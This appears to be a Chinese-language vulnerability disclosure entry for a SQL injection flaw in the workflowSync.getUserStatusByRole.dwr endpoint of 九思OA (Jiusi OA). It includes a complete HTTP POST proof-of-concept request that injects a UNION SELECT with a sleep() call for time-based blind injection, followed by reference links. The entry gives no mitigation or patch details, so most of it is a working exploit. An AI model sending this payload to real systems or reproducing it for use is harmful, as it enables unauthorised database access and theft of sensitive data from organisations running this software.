Description
九思OA中的/jsoa/workflow/dwr/exec/workflowSync.getUserStatusByRole.dwr接口存在SQL注入漏洞，该接口用于获取角色对应的用户状态信息，由于未对传入的参数进行严格的输入校验和参数化处理，攻击者可构造恶意SQL语句片段注入到请求参数中，利用MySQL的sleep函数实现时间盲注，窃取数据库敏感数据。
九思OA /jsoa/workflow/dwr/exec/workflowSync.getUserStatusByRole.dwr SQL 注入漏洞
PoC
POST /jsoa/workflow/dwr/exec/workflowSync.getUserStatusByRole.dwr HTTP/1.1
Host:
Content-Type: text/plain
callCount=1
c0-scriptName=workflowSync
c0-methodName=getUserStatusByRole
c0-id=9324_1732196948390
c0-param0=string:1111
c0-param1=string:1111 union select 3,sleep(0)#
xml=true
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/Sec-Fork/POC-20250106/blob/main/%E4%B9%9D%E6%80%9DOA/%E4%B9%9D%E6%80%9DOA%E7%B3%BB%E7%BB%9FworkflowSync.getUserStatusByRole.dwr%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5.md
https://cn-sec.com/archives/3457221.html
https://www.aqtd.com/nd.jsp?id=7928
https://blog.csdn.net/m0_46381222/article/details/143961484